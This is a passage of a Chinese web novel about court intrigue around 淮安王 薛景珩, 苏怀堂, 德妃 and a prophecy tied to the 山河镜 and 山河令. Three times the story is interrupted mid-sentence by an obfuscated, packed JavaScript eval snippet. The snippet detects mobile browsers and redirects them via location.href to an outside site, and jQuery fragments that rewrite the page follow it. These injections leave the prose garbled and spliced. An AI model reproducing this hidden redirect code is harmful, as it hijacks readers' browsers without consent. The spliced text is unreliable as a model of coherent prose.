众人见此,竟然似乎明白了几分,原来是金屋藏娇的美人吃醋,才闹出了后院走水的风波。暗自腹诽的同时,也不由得偷瞄着十一娘的容色,羡慕薛景珩艳福不浅。 “原来是美色误人,才引出了今日风波。” 一阵沉默中,素来娴静慎言的陵瑛县主轻描淡写地开口解围,她声音不急不缓带着几分女儿家的端庄□□,“如此佳人我见犹怜,淮安王兄果然是好福气!” 陵瑛县主走到德妃身侧,奉上一盏玫瑰清露,“刚刚浓烟火势骇人,娘娘也受了惊吓,喝盏茶缓缓神吧。” 德妃的疑虑并未完全消退,但神情似乎有些松动,眼中的愠怒逐渐消退,接过玫瑰清露,饮下半盏清口,“还是陵瑛最得我心。” 陵瑛郡主看德妃娘娘的清露进得十分香甜,视线看向薛景珩状若无意开口:“若我是男子,能得佳人如此,定然也是要铜雀楼深锁,不肯让外人瞧见的……陵瑛先在此恭贺淮安王兄大喜啦……既然淮安王已经得了可心人,母妃便也可少费些精神。” 陵瑛县主的玩笑话顿解了场面的僵持,惹得众人忍俊不禁。 德妃和二皇子沉默间交换了眼神,二皇子皇甫云州轻笑着开口,“陵瑛真是越大越顽皮,竟然开起淮安王兄的玩笑了!” 景珩对上陵瑛县主的眼神暗示,迟疑了一下,上前搀扶起十一娘:“你身子弱,平时让你在暖玉阁中休养,怎么伤成这样,定是下人服侍不周,将暖玉阁的侍卫罚俸半月。” “景珩果然体贴,只是……”德妃娘娘话锋一转,“婢女毕竟是下人,平时只是看顾衣食住行,总归与十一姑娘说不上体己话,我瞧着刚刚赵校尉的姑娘十分妥帖温柔,不如接来府上住几日,与十一姑娘说笑解闷。” “景珩,你觉得本宫这番安排,可还满意?”德妃眉眼间尽是温婉的笑意,实则每个字都带着不容置疑的威压和试探。 薛景珩垂下眼帘,藏起眼底的一丝厌烦,恭敬地答道:“既是做客倒也无不可,臣替十一娘谢过德妃娘娘厚爱。” 22. 过河卒 德妃眉眼弯弯,满意地抬起茶盏轻轻抿了一口,“既然如此,淮安王可要好好珍惜,女儿家的心意是上天的恩赐。若有谁不知分寸,惹出祸事来,本宫只怕也帮不了忙。” 景珩这时候才仔细打量了赵清蘅,只见她一袭白纱青衫薄如蝉翼,用的显然是临安城中最时兴的蚕丝料,寸缕寸金,绝不是区区校尉的俸禄供养的起的。 “才观赵姑娘舞姿卓绝,或许不愿踏足淮安王府的纷繁杂乱,德妃娘娘虽然好意,但是也要问问她的心意才是?”景珩迟疑片刻,开口问道。 一时之间,众人的目光纷纷聚集在赵清蘅身上,有打量、有艳羡,更有嫉妒。站在中央享受着众人探究的目光,赵清蘅不觉挺直了腰板。 她紧紧咬着嘴唇,内心砰砰乱跳,答案在唇齿上纠结,距离淮安王府的泼天富贵只有一步之遥了。 强按捺下内心悸动,眼中闪过一丝羞涩,却又迅速低下头去,举手投足之间带着一种无形的柔弱和羞怯,犹豫半晌最后轻启朱唇,“臣女愿听德妃娘娘安排。” 淮安王府,半夜灯火通明,赵清蘅当即便被德妃娘娘安排入府,并亲赐入住离薛景珩住所最近的畅音阁。 整个晚上,下人来来往往、熙熙攘攘,流水一般的赏赐被送进畅音阁。 而十一娘则被拨到僻静幽冷的榭花台居住。 伺候的婢女秋燕握着发钗,替镜中卸妆的十一娘愤恨不平道,“姑娘,你瞧赵清蘅算什么小门小户的出身,平日连进咱们淮安王府的大门都不配,如今仗着德妃娘娘和二殿下撑腰,竟然要强塞进二公子屋里,真是寡廉鲜耻……如今她这样半夜声势浩大的布置畅音阁,明摆着是做给您看的……” “虽说赵清蘅的相貌和舞技有几分肖似从前的萧姑娘”,秋燕小心翼翼地揣度着十一娘的心思,劝慰道,“但是相似又如何,终究一副空皮囊而已,想来三年多相伴的情谊,王爷还是会偏疼姑娘您的。” “住嘴,不许背后议论王爷。”十一娘褪下手钏重重地摔在桌上,拧紧了眉头。 秋燕慌忙跪下认错,“姑娘原谅,奴婢一时失言,将心里话说出来了。” 十一娘缓和了表情,随手将妆奁盒子里的玉镯赏给她,“有些事情心理知道就好,大可不必挂在嘴上……区区一个赵清蘅,我倒也不放在眼里,只是不知道言郡主如何了……” 秋燕不敢接话,继续伺候着十一娘梳洗卸妆,悄悄抬头看见十一娘眼神微怔,她似乎若有所思。 今日多亏了苏怀堂暗中指点,方才由她出面解了暖玉阁之围。此事虽于女儿家的清白名声有损,但是若是能借此机会,更靠近薛景珩一点点,于她而言也是……心甘情愿。 畅音阁足足折腾了大半夜,才将宫里的赏赐全部搬完,众人神色疲惫,赵清蘅见状体贴地抓出一把金瓜子,赏赐给大家。 “多谢蘅姑娘”,众人见赵清蘅出手大方,怨气顿消,俱十分欢喜地谢恩领赏。 赵清蘅遣散众人,只留下一个看起来机灵的婢女,“你服侍我安寝吧”。 婢女一双黑眼眸滴溜溜转着,十分欢喜地贴近赵清蘅,俯身下拜,“谢谢姑娘抬举,奴婢贱名冬雀。” 赵清蘅笑得如沐春风,“我刚入府不久,许多事情还不了解,唯恐行差踏错惹人笑话,还请冬雀妹妹多多指点。” 说罢,从头上拔下一支珍珠流苏钗,左右打量着,替冬雀簪上,“妹妹生的珠圆玉润,肤色胜雪三分白,这珍珠流苏钗果然很衬你呢。” 冬雀抚摸着珍珠流苏钗,眼睛一亮,连连道谢,“奴婢多谢姑娘恩赏,一定忠心为蘅主子做事。” “既如此,那是最好不过了……将来若大事有成,德妃娘娘和二殿下都不会亏待你的。”赵清蘅笑着搬出德妃娘娘的靠山弹压她。 闻言冬雀猛然抬头,眼神里充满了贪欲和欣喜,“一切听凭蘅姑娘吩咐。” 一夜忙乱,刚刚歇下,天已经透出鱼肚白。 赵清蘅仰卧望着头顶一寸十金的鲛纱床幔,手指紧紧抓住被子,才克制住心底翻涌的恼怒。 流水般的珍宝赏赐,表面是恩宠,但实际却是捧杀和示威。 屋里偌大的夜明珠散发着柔和的光芒,却只觉得刺目,德妃娘娘如此声势浩大地赏赐和抬举,哪里是为她撑腰?分明是强压淮安王允她进府,却更让她在王府孤立无援,只得背靠二皇子,成为没有后路的过河卒。 而这一切不过是因为淮安王功高震主,德妃娘娘不满,暗示淮安王雷霆雨露俱是君恩。 而她—赵清蘅,既是拉拢,也是监视淮安王的一枚棋子罢了。 不过棋局未定,谁执白、谁执黑,谁是棋子、谁是执棋人,鹿死谁手还未可知! —— 夜半三更,月朗星稀,淮安王府书房的暗室中依然灯火通明,白日里镇定自若、进退得宜的薛景珩此刻脸色苍白仰卧在床榻上。 他痛苦地蜷缩着手指,整个人虚汗淋漓,如同被热水浸泡过一样。 北丐神医眉头紧锁,轻搭着薛景珩的脉门,不住地唉声叹气,惹得一众身边人更加焦虑。“神医,王爷到底如何了?为何突然呕血?” 苏怀堂骨节分明的手指缓缓敲击着折扇,目光若有所思地停留在他苍白的脸上,终于敛去神色中的担忧,不耐烦地开口道:“神医别卖关子了,也没什么可避讳的,薛景珩的身子到底怎么样?” 北丐神医一张脸皱成了苦瓜,捋着花白的胡子,语调都是可惜道:“薛公子本就底子孱弱,有沉疴旧疾,脉象虚浮,又因为长期忧思,导致肝气郁结,长此以往恐怕会心神耗散、气血枯竭,不是长命之相啊!” 闻言,几个忠心的婢女偷偷转头抹泪,北丐神医赶忙劝解道:“薛公子风华正茂,今日是受了刺激,气血翻涌引起旧疾,所以才呕血高热。将来若是能好好保养身体,平日放宽心情,少忧思少筹谋,老朽还是有把握能调理好些,至少……至少能保二十年寿命……若是继续如此夙兴夜寐、终日筹谋盘算,恐怕天不假年!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637545|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛景珩闻言并无惊讶,反而坦然一笑:“景珩的命早就不是自己的,我身上担负了太多人的希冀,背负着家族的期望,一步行差踏错多少年、多少人的辛苦筹谋就要付诸东流,既然走到如今这一步,岂能功亏一篑……” 北丐神医连连哀叹,“上天不公、天妒英才”。 薛景珩只是低着头,语气平和,似乎说一件与己无关的事情:“我自知身体孱弱,但是还撑得住……只是今日暖玉阁事发突然,实是难以克制心绪,才一时气血翻涌……是景珩任性了。” 说罢他挣扎着起身,披上玄色长袍,命人笔墨伺候坐于案前。 他眉目如画,只是神色间透着几分肃然。 烛火轻摇,映照出他面庞轮廓的消瘦冷峻。 薛景珩提腕抬手,指间轻拂过笔架,拿起一支狼毫笔,笔尖饱蘸浓墨,微微一顿,似在沉思。 微微垂首凝思后,凝神屏气快速落笔,字字遒劲,力透纸背。 宣纸上是一封密令,调动暗卫南下寻找言靖雪的下落。密令中详述了重要关隘和拦截路线。 苏怀堂紧紧盯着他唇边的血迹,目光如炬似乎要将其看穿,上前夺过笔:“薛景珩,你不要命了?!病中不宜多思,如此殚精竭虑就为了一个不知所踪的小骗子?言靖雪到底有什么好?” 薛景珩的脸色在烛火明灭中变换,眼神似乎透过漫长的回忆,由温柔逐渐变得哀痛。 “咳咳”,一阵冷风入肺腑,引发薛景珩不住地咳嗽,“前尘旧恨此间种种,我已不奢望她待我之心如往昔……只是哪怕远远看着她一切安好,也可心安瞑目……但是我绝不允许任何人做出伤害她的事……” 苏怀堂深深叹了口气,无奈地取过密令:“杀伐决断的淮安王竟然为情所困至此,这若是传出去,京中那些名门闺秀只怕要瞠目结舌……” “……你心有牵挂不安,难以静养休息,更有碍图谋大业……既如此,便由我亲自走一趟,返程漠北大营的路上替你寻找言靖雪的下落……就当还你这次的救命之恩,你知道我一向不喜欢欠别人人情!” 薛景珩抬眸看他,眼底掠过一抹意味深长的笑意:“我倒是好奇,鸣玉公子将来遇到真正喜欢的女子,是否也会被玩弄于股掌之中,尝遍各中滋味,情深不能自抑。” 苏怀堂闻言轻哼一声以示不屑,把玩着手里的青芒针,挑眉冷笑道,“正好我也想瞧一瞧‘青芒’如今的主人,到底是何方神圣。十年前,源伯正是死于‘青芒’之手,他的仇,我要亲手报!” 薛景珩勉力站起身道谢,苏怀堂收拢手中折扇,扇面如刀锋般划破空气,袭过一股凉意,最后轻轻点在薛景珩的心口。 “不必谢,你为二皇子皇甫云州效力,我投靠独孤慎,虽然各择其主,但我们是命运相连的双帝星,帮你……不过是帮我自己。” 苏怀堂走到门口停驻,声音冷漠决绝,未曾回首,“不过……待山河令现世择主,我们两个只能活一个……届时,我绝不会对你心慈手软……” 23. 帝星未明 夜色如墨,唯有一钩残月悬于天际。 风过时,一道身影自暗处悄然显现,苏怀堂步履无声地踏过回廊,宽大的斗篷将他从头到脚笼罩其中,他抬手将厚重的帽檐又向下压了压,面容便隐没其中。 离开淮安王府侧门时,苏怀堂借力一纵,快步翻身上马,动作行云流水、利落干脆,犹如暗夜中的鹰隼,眨眼间已经隐入夜色,只留下一道残影和嘀嗒回荡的马蹄声。 京郊外,险峻的山崖深处,谷底终年笼罩着薄雾,仿佛一切都被时间冻结遗忘在此。 山谷的东南西北四个方位各有一个守护人日夜看守、从不间歇。 “什么人?敢闯谷?!” 感觉到有人闯入,北方的守护人倏忽睁眼。 黑色的瞳孔如遭遇强风猛然收缩——并非看见,而是一种凌驾于视觉之上的、对气息的赤裸感知。 玄黑重甲覆住全身,他每一步挪动,都似地动山摇。 男人神力惊人,巨斧在他手中轻若无物,有拔山扛鼎之威! ——是能掀翻战车、撼动城墙、令千军胆怯的洪荒伟力。 只见他臂膀猛抡,重斧撕裂空气,这一斧落下,便是顽石也成齑粉。根本不需技巧,完全是最纯粹的力量倾泻。 空气在他斧刃周围扭曲,杀意凝成实质。 苏怀堂耳尖微动,捕捉到一丝异样的风声,被弥漫在空中的刀斧杀气震慑。 就在那一瞬间,他微微侧身、足间远去数丈,堪堪避开冷冽的刀斧杀气,转头发现坚硬如铁的岩石被劈掉了一角。 “好重的煞气!” 苏怀堂轻身跃下,单手拉住缰绳,□□马匹受惊引起阵阵嘶鸣。 “嘶聿聿——”其声如裂帛,凌厉地划破寂静,惊起无数飞鸟。 待看清来人,身着重甲的守护人讶异地放下刀斧,恭恭敬敬地行礼,“不知是苏公子来此,多有得罪。” 苏怀堂的右肩衣衫被凌厉的杀气撕开了一条裂痕,所幸闪避及时,没有伤到皮肉。 他神色平静无波道:“不关你的事,是我自己鲁莽,临时起意前来,未能提前通报诸位守护人。” 守护人担忧地从怀中取出一粒黑色药丸递过去,“这是护心丹,还请小公子服下,虽然小公子轻功卓绝,避开了劈天斧的锋芒,但还是被寒气伤到,即使皮肉无碍不见血,实则内里筋脉已经受损,小公子切忌要静养月余,不得乱用真气,否则内力大损。” 苏怀堂下意识地抚上右臂,果然疼痛难忍,赶忙谢过守护人,吞服了护心丹。 “不知小公子深夜到此所为何事?……莫不是薛公子身体有虞?”守护人担心地皱紧了眉头询问。 “薛景珩……无碍,是我要返回漠北大营,临行前,想再看一眼山河镜。” 守护人犹豫了下,还是恭敬地引路,“小公子请自便。” 潮湿的谷底遍布青苔,极为难行,苏怀堂手持烛台小心翼翼地走近,两侧石壁上山川河流的壁画蜿蜒流转,烟云缭绕,似真似幻。 中间静静地卧着一汪碧潭,宛如一块镶嵌在大地上的翡翠宝石。 碧潭四周群山环绕,峭壁陡峻,藤蔓垂挂而下,仿佛天然的帷幕,将这片秘境与世隔绝。 湖心藏着一面古老的铜镜,镜身斑驳,被安置在一座残破的石台上,四周藤蔓缠绕,历经千年风霜,寂寥而又庄严。 这就是民间童谣传唱的“山河镜”——“日升月落风云起,草木盛衰山河变,大地之主镜中现。” 传闻这面铜镜有着不可思议的力量,能够预知未来。 每当有人靠近时,山河镜便会自动泛起一层如水般的光晕,仿佛静谧的湖面被轻轻扰动。 传说中,只有真正心怀天下的大地之主才能在山河镜中显露真容。 其他任何试图通过山河镜窥探未来的普通人,在看见未来的同时,也会被镜子从凝视者的命运中夺取一些东西——或是时间,或是心智,甚至是生命。 古往今来,曾有无数人冒险来到这幽深的谷底,想要一窥命运的真容,却极少有人能全身而退。 有人在看到未来后,心智崩溃,永远留在了这片寂静的谷底;也有人执意改变自己镜中的命运,却最终被命运的洪流吞没,难逃一劫。 古老的传说在山间流传,听闻者无不心生敬畏,唯恐镜中之影如梦魇般纠缠。 那面湖中岁月斑驳的铜镜,宛如一个缄默的沧海桑田见证者,其深处仿佛与奔流不息的时间长河相连。 既定的命途在它面前一览无余,而它只是无悲无喜地静立,冷冷旁观,映照每一个前来探寻、试图窥破天机的灵魂。 而无数苏家人和薛家人为了山河镜魂归于此,碧潭下葬着累累白骨。 百年前,薛家和苏家无意探知了山河镜的下落,自此每五年都会有新诞生的孩子被族长秘密带来谷底,在山河镜前甄别,失败者离开时会被守护者灌下忘忧散,忘掉谷底和山河镜的事情。 百年来,只有薛景珩和苏怀堂两个孩子曾在山河镜中显露真容,薛家倾尽家财,请来江湖第一占卜师卫子衿在湖底为两个孩子占卜。 在古老的占卜仪式中,天下第一占卜师卫子衿缓缓开口,声音低沉而神秘,仿佛来自远古的回响。他的眼中闪烁着难以言喻的光芒,指尖轻轻划过刻有古老符文的占卜盘,最终停留在一处玄奥的符号上。 “帝星未明,但天命昭昭,双龙劫。” 占卜师的声音仿佛回荡在谷底,带着不可抗拒的天命力量。 “双龙劫,乃命数中的至极对立,亦为相生相克、相辅相伴之象……福则天地各主,如同昼夜交替,互为依存,劫则阴阳正邪对立,一死一生,不死不休……双龙劫现,必有天地大变。卦象显示双帝星,一切只能静待山河令择主。” 预言者的声音低沉,带着不可抗拒的宿命感。 山河令是传闻中上古西王母遗落的玉陨,被黄帝做成了镇国玉玺代代传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637546|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承,成为统一四海、号令天下的信物。 已然失传多年,据说山河令能辨识大地之主的气息,遇见帝王之血会择主而现。 千百年间,有民间童谣朗朗传唱,“山河令,传世长,四海八荒听命忙,天下江山掌中藏,得令者胜,失令者亡。” 天下第一占卜师卫子衿停顿片刻,声音低沉却坚定:“唯有心怀大志,手握正道者,方能驾驭双子龙之力量,绝处逢生;若心生贪念,必将为龙所噬,陷入无尽的深渊。” 双龙劫的预言,如同一场无形的烙印,将薛景珩和苏怀堂紧紧锁定在一起,等待着山河令最终命定的抉择与审判。 薛家和苏家为了似乎近在咫尺的荣耀,前赴后继将几代人的命运都押了进去,举合族之力共谋大事,为的是家族兴盛和永垂不朽。 可惜的是没人预料到是双帝星,于是,在大局未定前,势弱的薛家和苏家决定各自择主而后伺机而动。 薛氏族长薛老太君坚定地站在保皇派一边,为二殿下皇甫云州鞍前马后。 而同为五姓十族之一的苏氏,当年也曾是烈火烹油、花团锦簇之盛。 只可惜,族中同胞兄弟阋墙,两人为争夺族长之位,同室操戈,祸起萧墙之乱,终令百年基业,为外人所趁,一朝倾覆。 最终,全族上下只侥幸逃出苏怀堂姐弟几人。 而摄政王独孤慎对年幼时的苏怀堂有救命之恩,故而,苏怀堂在羽翼未丰之前,为报养育之恩,甘愿被独孤慎驱使,成为革新派的一把利刃。 薛景珩和苏怀堂并称临安双壁,虽分属不同阵营、分庭抗礼,但是又有双帝星的羁绊,一起躲过多次明枪暗箭,所以私交甚笃。 如今,苏怀堂屏退左右,只身潜入碧潭,站在斑驳的山河镜面前,古镜泛着幽幽的光芒,周遭流水潺潺,似是倾述似是叹息。 忽然,镜面微微波动,如水般泛起涟漪,渐渐显现出一幅模糊的画面。 苏怀堂不自觉地握紧了袖口,眼神微漾跟着水镜中场景变化…… 红烛下,映出女子凤冠霞帔执扇的侧影,她含羞带怯地掀开眼前轻晃的珠帘,唇角绽开一抹嫣然笑意,将手递向身侧之人,正行合卺之礼……画面在烛火摇曳间渐渐淡去,苏怀堂久久未能回神。 最终他阖眸轻轻抚上镜面,一阵凉意传到手心。 天色微微擦亮,苏怀堂才从谷底离开,谷外早有碧落坊的暗卫等候,“少主,暗探追查到言郡主的下落了。有人曾在兰亭镇见过福安郡主,身边还跟着一个十四五岁的丫鬟,听描述应该是夏蝉姑娘。” “江北兰亭镇?”苏怀堂闻言颦眉。 侍卫点头,仔细回禀道,“是,福安郡主周围跟着七八个高手,车队一路朝南而行,暗探武功低微未敢惊动,可惜还是很快被发觉并甩掉了。” “吩咐碧落坊继续暗中追查……我倒要看看‘青芒’的主人到底是谁!敢从我和薛景珩的眼皮底下抢人,我看他是活得不耐烦了。” 24. 前缘误 夜色沉沉,清宁宫的大门紧闭,沉重的朱漆门板透着寒意。 殿内却灯火通明,一群太监、宫女伏跪在冰冷的青砖上,额头紧贴地面,身下青石砖的寒意渗透骨髓。 满殿鸦雀无声,只有微风拂过衣袂,发出窸窣轻响。 德妃娘娘的仪仗回宫已经两个时辰了,但是怒火未消,压迫感让每个宫人都如芒在背。 偶尔有内监匆匆领命走过,鞋底擦过石板的声音在寂静中显得格外刺耳。 跪在地上的宫人们却始终不敢抬头,只能屏息以待。 年幼的小太监偷偷揉着酸痛的膝盖,目光中透着忐忑与不安,探头看向殿内。 德妃娘娘素日里是出了名的贤良宽宥,在后宫诸人中有口皆碑。可今日不知为何,德妃娘娘从养心殿议事回来后,竟在清宁宫大发雷霆。 宫女太监们个个噤若寒蝉,气氛压抑得连呼吸都不敢大声。 殿内瓷器碎裂的声音不绝于耳,德妃娘娘那一双凤眸此刻寒光闪闪,素来温润的面庞也失去了平日的温和伪装,她挥袖扫过,桌上的金银器皿应声落地,发出清脆地撞击声。 跟在她身边伺候的贴身宫女红莲急忙跪下,战战兢兢地请罪:“娘娘息怒,摄政王不过是一时口无遮拦,满朝文武必定会看在您的面上……” “看在本宫的面上?” 德妃冷笑一声,声音如冰,“本宫的面子如今还有几分重?满朝文武也不过都是些心怀叵测的墙头草罢了!独孤慎这个血统肮脏的杂种,竟然敢与我儿为敌,我看他是想趁着皇上昏睡谋权篡位!” 她的手紧紧攥着椅子的扶手,指节用力到扭曲,眼中满是怒火。 “娘娘……摄政王不过是小人得势一时猖狂罢了,淮安王和韩硕将军一众保皇派等还是都站在您和二殿下这一边的,何况独孤慎的出身摆在那里,宫里和民间流言蜚语甚多,您不必为此动怒……这回区区一个大理寺少卿的人选,便由着独孤慎安排一次罢了。”另一名贴身宫女试图劝慰。 “怎么不叫本宫动怒?!”德妃眼中闪过一丝悲凉,“这些年本宫勤勤恳恳、忍气吞声,力求博一个后宫贤名,可是十几年的贤名有什么用?圣上还不是偏宠言贵妃那个心里没有他的小贱人!” “……本宫辛苦教养的二皇子云州杀伐果决,在圣上眼里竟然不如太子那个软弱无用、妇人之仁的废物!若不是本宫筹谋得当……” 德妃越说越激动,连带着以往藏在心底的怨恨一股脑倾诉而出。 “母妃慎言!”二殿下皇甫云州惊愕地及时制止住德妃的口不择言。 德妃摔了茶盏站起身,负手而立,深吸一口气,强忍住情绪的波动。 在怒火稍退之后,逐渐恢复了往日的面色沉静,然而那双凤眸中却多了几分审视的阴毒。 德妃的目光缓缓扫视着跪在地上的几个贴身宫女,所有人都低着头,大气不敢出一声,满室安静,连针尖落地的声音似乎都微弱可闻。 她轻轻抬手示意众人,“何必跪着,都平身吧”,声音依旧温和,却带着一丝探究的意味:“红莲,你方才可都听清了?” 红莲头低得更深了,连忙回应:“娘娘恕罪,奴婢是个眼瞎耳背的,一心只盼着娘娘身体康健,二殿下早日荣登大宝。” 德妃微微点头,目光却没有从红莲身上移开,淡淡说道:“本宫知道你一向是个谨慎的孩子,可这后宫人多嘴杂,若是不该说的话传了出去,怕是本宫与殿下都不好过。” 红莲一听,冷汗涔涔,连忙叩头:“奴婢生是清宁宫的人,死是清宁宫的鬼,长着的也是清宁宫的舌头,娘娘心中明鉴。” 德妃轻哼一声,眼中寒光一闪:“本宫自然明白。但这宫中心怀叵测之人太多了,本宫不得不多加防备。你们在本宫身边伺候多年,若有不慎,连累的不仅是自己,还有家里族人的安危。” 她的语气虽平和,但每一个字都带着压迫感,像是要从众人中揪出什么似的。 此时,跪在一旁的另一名宫女忽然身子一颤,似乎被德妃的目光所摄,轻轻发出了一声喘息,虽然声音极小,但在这寂静的寝宫中依然显得格外突兀。 德妃目光一凝,转头看向她:“玉兰,你怎么了?” 那名叫玉兰的宫女顿时脸色煞白,连忙磕头道:“娘娘恕罪,奴婢只是……只是有些身子不适。” 德妃眼神微微冷了下来:“不适?本宫看你是心中有事吧?” 玉兰身子颤抖得更加厉害,双手撑地,声音颤抖:“奴婢绝无二心,只是方才娘娘发怒,奴婢害怕……失态了。” 德妃眼神锋利如刀,盯着玉兰,久久没有说话。 玉兰连忙叩头:“奴婢忠心耿耿,绝无他念!” 德妃脸上依旧挂着淡淡的笑意,轻启朱唇,声音如同浸了冰水,“玉兰服侍本宫也五六年了,出落的越发清秀了,五年前阖宫夜宴上,言贵妃还赞过玉兰生得纤细美丽,本宫倒是忘了赏赐你,如今一并补上吧。” 玉兰顿时手脚瘫软,整个人跪倒在地,因为恐惧声音颤抖,“娘娘饶命啊,玉兰什么都不会说出去的。” 德妃已经别开脸,随意抬了抬手,两个内监立刻上前,用锦缎堵住她的嘴,一左一右擒住双臂,如同拖拽破布般将她拖出殿门。 红莲扭过头别开眼,毕竟是相处多年的姐妹,她肩膀微微颤抖,紧紧攥紧了衣袖。 玉兰的哭声很快就消失在殿外。 皇甫云州起身伺候德妃饮茶,劝解道,“母妃,我如今虽然代天子监国,但是没有太子的名分,又没有父皇的亲笔诏书,名不正言不顺,那些保皇派的顽固老臣私下对我颇有微词。如今朝局动荡,母妃莫要因为今日朝堂上一时之气,影响了大局稳定。” 德妃胸口微微起伏,深吸一口气,缓缓闭上眼将心头翻腾的怒火压下。 片刻后,她睁开眼眸,眸色已然恢复深沉。抬手轻抚鬓发,整理了一下袖口,姿态依旧端庄高贵,“皇儿的意思是?” “与其针锋相对,不如退一步海阔天空。”皇甫云州宽慰道。 “……独孤慎不是有个义子苏怀堂吗,担任漠北大营北辰卫指挥使。母后别小看他,苏怀堂执拗狠厉颇得独孤慎赏识……他的婚事久悬未决……不若趁此机会由母后赐婚,卖摄政王个人情以示安抚……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637547|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德妃的指尖在茶盏的边缘划过,声音也随之低沉,“独孤慎似乎有意促成江北江家与苏怀堂的婚事,听闻被苏怀堂数次推脱拒绝了……” “江北江家?”皇甫云州不甚在意,“不过是个门庭冷落的没落氏族罢了,早已远离朝局权利中心。难怪苏怀堂不肯!” “你懂什么!” 德妃皱了眉耐着性子解释:“苏怀堂的婚事久悬未决就是因为高不成低不就,他本是十族之一苏家的小公子,出身高贵,为报答独孤慎的救命之恩,才投靠了革新派……苏家人觉得出身平民的女郎辱没了他,身份显赫的保皇派氏族又因为立场不肯与他谈婚论嫁,这才耽误了……我记着苏家与江家有世代婚约,结百年秦晋之好,二十年前苏家倾覆,但是此约未废……” 德妃饮了口温热的茶水,冷笑道,“莫不如本宫下旨赐婚以示天家恩德,就算给摄政王一个薄面,谅江家也不敢拒婚。” —— 十日后,巳时初,江北兰亭镇,客栈的窗外是熙熙攘攘的街市,马蹄声与小贩的叫卖声交织成一片。 苏怀堂倚在窗边,手中信笺被揉得皱皱巴巴,随丢弃在案几上。 他目光冷冷扫过那几个墨迹未干的字,嘴角勾起一抹讥讽的笑意,“赐婚?真当我是世家子弟那些酒囊饭袋任人摆布吗?” 苏怀堂的指节在桌面上轻轻敲击,发出低沉的声响,似在压抑心头的不耐与愤怒。 片刻后,他冷哼一声,起身将窗推得大开,目光冷冽,“德妃若以为一纸诏书便能困住我,未免太过天真。” 五邪站在一旁,心知此事关乎重大,不能由着苏怀堂的性子恣意妄为,于是上前小心规劝道,“少主,婚姻大事本就不是两情相悦这般简单,更重要的是两姓氏族的利益联盟。” 五邪顿了顿,观苏怀堂未显露不悦之色,方才谨慎地继续道,“纵然少主心仪陵瑛县主,也当为大事计,陵瑛县主不过是空有名头的孤女……而江家虽然势微,但底蕴深厚,况且苏家和江家有百年婚约,摄政王一直有意撮合,只不过是被您数次敷衍过去了……听闻前些日子德妃与摄政王因为大理寺少卿的人选起了争执,如今德妃娘娘赐婚,摄政王似乎也应允了,此举是缓和双方关系的示好,您可不能由着性子胡来呀。” 苏怀堂听罢,低声道:“我自然知晓和江家联姻的利弊,只是……江玉澄?” 他摩挲着手里的白玉佛珠,神色玩味,“江北江家的嫡出大小姐?似乎一直娇养在深闺,从未抛头露面,我倒是真有些好奇了……” 苏怀堂偏侧过头看向五邪,那双狭长的丹凤眼微微上挑,似刀锋般凌厉,眸中的光芒犹如寒星闪烁,虽淡淡地扫过,却让人不由得脊背一凉。 “若是她是个柔顺本分的,联姻倒也不失为一个上策。苏氏族长夫人该有的体面尊荣,我一分都不会少给她……” 苏怀堂的嘴角勾起一抹意味深长的弧度,眼带几分漫不经心的戏谑和丝丝冷意,让人看不透他的情绪。 “……可倘若她是个骄纵乖张不听话的,敢在苏家使那些内宅的肮脏手段,或者一味狐媚痴缠,我也会让她求生不能求死不得。” 25. 江氏女 江北江家,一个十二三岁的小丫鬟小心翼翼地走过廊桥,大冬天仅着薄薄一层秋袄,双手冻得瑟瑟发抖,弓腰缩背不断哈气。 她不断暖着手里的汤药,一路捧着端进屋里,屋内比屋外少了些许寒风,温吞的地龙火焰半死不活地燃烧着。 身湖蓝色窄袖短襦长裙的大丫鬟兰桂,掀开门帘探身询问,“小狸,今日的药怎么送的怎么慢?” 出口的话在空中飘散,透着袅袅白烟。 兰桂约莫二十五六岁,长相端庄秀丽,衣领上绣着素净的兰花图样,精致而不繁复,头戴两根珍珠玉钗,点缀一团蓝绒花装饰,“夫人一会就快从云烟寺回来,要喝药了。” 被唤做小狸的丫鬟听闻催促,年纪小、面皮薄,登时委屈地哭了鼻子。 小丫头带着哭腔辩驳道,“兰桂姐姐,不是小狸偷懒。看管药炉的婆子是太夫人的人,平日跟崔姨娘走的近,今日去取药受了好大的刁难!兰桂姐姐,您不知道她们说话多难听,奴婢不过是取些夫人分内的东西,她们竟敢仗势欺人,还说了好些下流难听话。” 兰桂比出了噤声的手势,制止了小狸的抱怨。 “罢了罢了,无关紧要的事情忍一忍就过了,大夫人毕竟是当家主母,自有大夫人的宽容大度和体面尊荣,岂能跟那些上不得台面的姨娘们一般见识,等老爷回府后,一切都会好起来的。” 